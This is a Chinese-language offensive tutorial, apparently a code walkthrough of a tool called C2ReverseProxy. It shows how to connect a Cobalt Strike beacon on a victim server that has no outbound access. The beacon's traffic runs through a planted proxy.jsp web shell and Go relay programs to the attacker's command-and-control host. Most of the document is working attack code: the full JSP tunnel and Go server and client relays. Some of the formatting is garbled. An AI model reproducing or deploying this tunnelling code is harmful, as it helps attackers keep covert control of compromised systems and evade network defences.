不出网上线CS 或出网但上线不了CS 都可以尝试此种方法

原理

  1. beacon连接并传输数据给由DReverseServer创建的端口
  2. DReverseServer将数据传输给proxy.jsp (proxy连接DReverseServer)
  3. proxy.jsp将数据传输给DReverseClint (DReverseClint连接proxy.jsp)
  4. DReverseClint因为在公网,所以把数据给带出来了

    受害端

    beacon(stageless)

    使用CobaltStrike建立本地Listener(127.0.0.1 64535)端口与C2ReverseServer建立的端口对应

    Proxy.jsp

    1. <%@page import="java.io.*, java.net.*" trimDirectiveWhitespaces="true"%>
    2. <%
    3. String HOST = "127.0.0.1";
    4. int PORT = 64535;
    5. //获取请求方法
    6. String method = request.getMethod();
    7. //检测连接是否成功
    8. if (method == "GET"){
    9. try{
    10. //创建客户端的socket服务,指定127.0.0.1(本地)和64535
    11. Socket socket = new Socket(HOST, PORT);
    12. //接收回送消息
    13. InputStream inSocket = socket.getInputStream();
    14. //回送消息
    15. OutputStream outSocket = socket.getOutputStream();
    16. //写入连接成功标志位
    17. String msg = "TO:CONNECT";
    18. outSocket.write(msg.getBytes());
    19. byte[] res = new byte[4096];
    20. inSocket.read(res,0,4096);
    21. out.print(new String(res));
    22. socket.close();
    23. }catch(java.net.ConnectException e){
    24. }
    25. }
    26. //代理获取数据
    27. if (method == "POST" && !request.getParameter("DataType").equals(null)) {
    28. try{
    29. Socket socket = new Socket(HOST, PORT);
    30. socket.setSoTimeout(3000);
    31. InputStream inSocket = socket.getInputStream();
    32. OutputStream outSocket = socket.getOutputStream();
    33. if (request.getParameter("DataType").equals("GetData")){
    34. String msg = "TO:GET";
    35. outSocket.write(msg.getBytes());
    36. byte[] res = new byte[1046616];
    37. try {
    38. inSocket.read(res,0,1046616);
    39. out.print(new String(res));
    40. }catch(java.io.IOException e) {
    41. out.print("NO DATA");
    42. }
    43. }else if (request.getParameter("DataType").equals("PostData") && !request.getParameter("Data").equals(null)){
    44. String msg = "TO:SEND" + request.getParameter("Data");
    45. outSocket.write(msg.getBytes());
    46. }
    47. outSocket.close();
    48. socket.close();
    49. }catch(java.net.ConnectException e){
    50. }
    51. }
    52. %>

    DReverseServer

  5. net.listen创建一个服务器

    1. Listen, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%v", port))
    2. if err != nil {
    3. fmt.Println("Listen error: %s", err.Error())
    4. os.Exit(1)
    5. }
  6. 循环监听连接accept和处理数据handleConn

    1. for {
    2. conn, err := Listen.Accept()
    3. if err != nil {
    4. continue
    5. }
    6. go handleConn(conn)
    7. }
  7. 处理交互

    1. func init() {
    2. flag.IntVar(&port, "p", 64535, "port")
    3. flag.IntVar(&level, "v", 0, "log level")
    4. flag.IntVar(&timeout, "t", 10, "timeout")
    5. flag.Parse()
    6. }

    handleConn

    主要的逻辑函数为handleConn

  8. 提取数据 ```go //readsize = 4096

defer conn.Close() data, err := read(conn)

  1. if err != nil {
  2. return
  3. }

/ func read(conn net.Conn) (result []byte, err error) { buf := make([]byte, readsize) for { n, err := conn.Read(buf) if err != nil || n == 0 { break } result = append(result, buf[:n]…) if n < readsize { break } } return result, err } /

  1. //处理数据长度,数据不可以大于30
  2. length := 30
  3. if len(data) <= length {
  4. length = len(data)
  5. }
  1. 2. debug打印版信息-log
  2. ```go
  3. /*
  4. sendflag = "TO:SEND"
  5. connflag = "TO:CONNECT"
  6. getflag = "TO:GET"
  7. level = 0
  8. */
  9. switch {
  10. //判断数据含有标志
  11. case strings.Contains(string(data[:length]), connflag):
  12. Println(connflag)
  13. //cs来获取数据
  14. case strings.Contains(string(data[:length]), getflag):
  15. //发送bc缓存的数据
  16. Println(getflag)
  17. //cs来发送命令
  18. case bytes.Contains(data[:length], []byte(sendflag)):
  19. Println(sendflag)
  20. default:
  21. Println("default")
  22. }
  23. Println(fmt.Sprintf("%v %v", "read ", (len(data))))
  24. Println2(data)
  25. /*
  26. func Println(result string) {
  27. if level > 0 {
  28. fmt.Println(str1, result, str1, "CsChan:", len(CsChan), "BcChan:", len(BcChan))
  29. }
  30. }
  31. func Println2(data []byte) {
  32. switch level {
  33. case 2:
  34. num := 1000
  35. if len(data) > num {
  36. fmt.Println(string(data[:num]))
  37. } else {
  38. fmt.Println(string(data))
  39. }
  40. case 3:
  41. fmt.Println(string(data))
  42. default:
  43. }
  44. }
  45. */
  1. 处理提取的信息 ```go /* noneflag = “Tk9ORQ==” sendflag = “TO:SEND” connflag = “TO:CONNECT” getflag = “TO:GET” str1 = “================” str2 = “C2ReverseProxy - 图1“ timeout = 10

*/

switch { case strings.Contains(string(data[:length]), connflag): write(conn, []byte(noneflag)) //cs来获取数据 case strings.Contains(string(data[:length]), getflag): //发送bc缓存的数据 if len(BcChan) == 0 { write(conn, []byte(noneflag)) return }

  1. tmp, ok := <-BcChan
  2. if ok {
  3. write(conn, []byte(tmp))
  4. } else {
  5. write(conn, []byte(noneflag))
  6. }
  7. //cs来发送数据
  8. case bytes.Contains(data[:length], []byte(sendflag)):
  9. Println(sendflag)
  10. index := bytes.Index(data, []byte(sendflag))
  11. data = data[index+len(sendflag):]
  12. index1 := bytes.Index(data, []byte(str2))
  13. if index1 >= 0 {
  14. data = data[index1+len(str2):]
  15. }
  16. index2 := bytes.Index(data, []byte(str3))
  17. if index2 >= 0 {
  18. data = data[:index2]
  19. }
  20. CsChan <- string(data)
  21. write(conn, []byte(noneflag))
  22. default:
  23. Println("default")
  24. //接收becon数据包
  25. BcChan <- base64.RawURLEncoding.EncodeToString(data)
  26. start := time.Now()
  27. //等待c2的数据包
  28. for len(CsChan) == 0 && time.Now().Sub(start) < time.Duration(timeout)*time.Second {
  29. }
  30. if len(CsChan) == 0 {
  31. fmt.Println("len cschan = 0")
  32. write(conn, []byte(noneflag))
  33. return
  34. }
  35. Println("default write")
  36. //发送c2的数据包
  37. tmp, ok := <-CsChan
  38. if ok {
  39. encoded, err := base64.RawURLEncoding.DecodeString(tmp)
  40. if err != nil {
  41. fmt.Println("base64decode failed: ", err)
  42. Println2([]byte(tmp))
  43. } else {
  44. write1(conn, encoded)
  45. }
  46. return
  47. } else {
  48. write(conn, []byte(noneflag))
  49. }
  50. }

/* func write(conn net.Conn, data []byte) (n int, err error) { Println(fmt.Sprintf(“%v %v”, “write “, (len(data)))) Println2(data) data = append([]byte(str2), data…) data = append(data, []byte(str3)…) n, err = conn.Write(data) return }

func write1(conn net.Conn, data []byte) (n int, err error) { Println(fmt.Sprintf(“%v %v”, “write “, (len(data)))) Println2(data) n, err = conn.Write(data) return }

*/

  1. <a name="pYksr"></a>
  2. ## C2攻击端
  3. 1. 初始化参数和代理端
  4. ```go
  5. func init() {
  6. flag.StringVar(&Url, "u", "http://127.0.0.1/proxy.php", "url,eg http://127.0.0.1/proxy.php")
  7. flag.StringVar(&hostPort, "t", "127.0.0.1:64535", "c2 target,eg 127.0.0.1:64535 ")
  8. flag.StringVar(&Proxy, "p", "", "url proxy,eg 8080")
  9. flag.IntVar(&level, "v", 0, "log level")
  10. flag.Parse()
  11. InitHttpClient(Proxy, dialTimout)
  12. }
  13. func InitHttpClient(DownProxy string, Timeout time.Duration) error {
  14. dialer := &net.Dialer{
  15. Timeout: dialTimout,
  16. KeepAlive: keepAlive,
  17. }
  18. tr := &http.Transport{
  19. DialContext: dialer.DialContext,
  20. MaxConnsPerHost: 0,
  21. MaxIdleConns: 0,
  22. MaxIdleConnsPerHost: 100 * 2,
  23. IdleConnTimeout: keepAlive,
  24. TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
  25. TLSHandshakeTimeout: 5 * time.Second,
  26. DisableKeepAlives: false,
  27. }
  28. if DownProxy != "" {
  29. if DownProxy == "1" {
  30. DownProxy = "http://127.0.0.1:8080"
  31. } else if !strings.Contains(DownProxy, "://") {
  32. DownProxy = "http://127.0.0.1:" + DownProxy
  33. }
  34. u, err := url.Parse(DownProxy)
  35. if err != nil {
  36. return err
  37. }
  38. tr.Proxy = http.ProxyURL(u)
  39. }
  40. client = &http.Client{
  41. Transport: tr,
  42. Timeout: Timeout,
  43. }
  44. return nil
  45. }
  1. 获取数据 ```go func GetDate() {

    if check(Url) {

    1. for {
    2. data, err := getdata(Url)
    3. if err != nil || strings.Contains(string(data), noneflag) || len(data) == 0 || len(data) == lastlen {
    4. lastlen = len(data)
    5. time.Sleep(2 * time.Second)
    6. continue
    7. }
    8. lastlen = len(data)
    9. Println("getdata")
    10. Println2(data)
    11. index1 := bytes.Index(data, []byte(str2))
    12. if index1 >= 0 {
    13. data = data[index1+len(str2):]
    14. }
    15. index2 := bytes.Index(data, []byte(str3))
    16. if index2 >= 0 {
    17. data = data[:index2]
    18. }
    19. data1, err := base64.RawURLEncoding.DecodeString(string(data))
    20. if err != nil {
    21. fmt.Println("base64 err", err)
    22. Println2(data)
    23. continue
    24. } else {
    25. Println2(data1)
    26. }
    27. if len(data) > 0 {
    28. SendDate(hostPort, data1, Url)
    29. }
    30. }

    } }

func getdata(Url string) (result []byte, err error) { dataResp, err := client.Post(Url, “application/x-www-form-urlencoded”, strings.NewReader(“DataType=GetData”)) if err != nil { return } defer dataResp.Body.Close() var buf bytes.Buffer _, err = io.Copy(&buf, dataResp.Body) if err != nil { fmt.Println(“read error:”, err) return ioutil.ReadAll(dataResp.Body) } return buf.Bytes(), err }

// 数据发送模块 func SendDate(hostPort string, data []byte, url string) { Println(“senddata”) conn, err := net.DialTimeout(“tcp”, hostPort, 10*time.Second) defer conn.Close() if err != nil { fmt.Printf(“connect failed, err : %v\n”, err.Error()) return } _, err = write(conn, data) if err != nil { fmt.Printf(“write failed , err : %v\n”, err) } result, err := read(conn) //TO:SEND C2Send := []byte(“DataType=PostData&Data=” + str2 + base64.RawURLEncoding.EncodeToString(result) + str3) Println(“post”) Println2(C2Send) resp, err := client.Post(url, “application/x-www-form-urlencoded”, bytes.NewBuffer(C2Send)) if err != nil { fmt.Println(“发送数据error: “, err) return } defer resp.Body.Close() }

func check(Url string) (flag bool) { resp, err := client.Get(Url) if err != nil { fmt.Println(“check error:”, err) return } content, _ := ioutil.ReadAll(resp.Body) defer resp.Body.Close() if strings.Contains(string(content), noneflag) { fmt.Println(“SUCCESS Start getting data ….”) return true } else { fmt.Println(string(content)) fmt.Println(“Please check if the script exists and runs…”) } return }

func read(conn net.Conn) (result []byte, err error) { var buf bytes.Buffer _, err = io.Copy(&buf, conn) if err != nil { fmt.Println(“read error:”, err) return } Println(fmt.Sprintf(“%v %v”, “read “, buf.Len())) Println2(buf.Bytes()) return buf.Bytes(), err }

func write(conn net.Conn, data []byte) (n int, err error) { Println(fmt.Sprintf(“%v %v”, “write “, len(data))) Println2(data) n, err = conn.Write(data) return }

func Println(result string) { if level > 0 { fmt.Println(str1, result, str1) } }

func Println2(data []byte) { switch level { case 2: num := 1000 if len(data) > num { fmt.Println(string(data[:num])) } else { fmt.Println(string(data)) } case 3: fmt.Println(string(data)) default: } } ```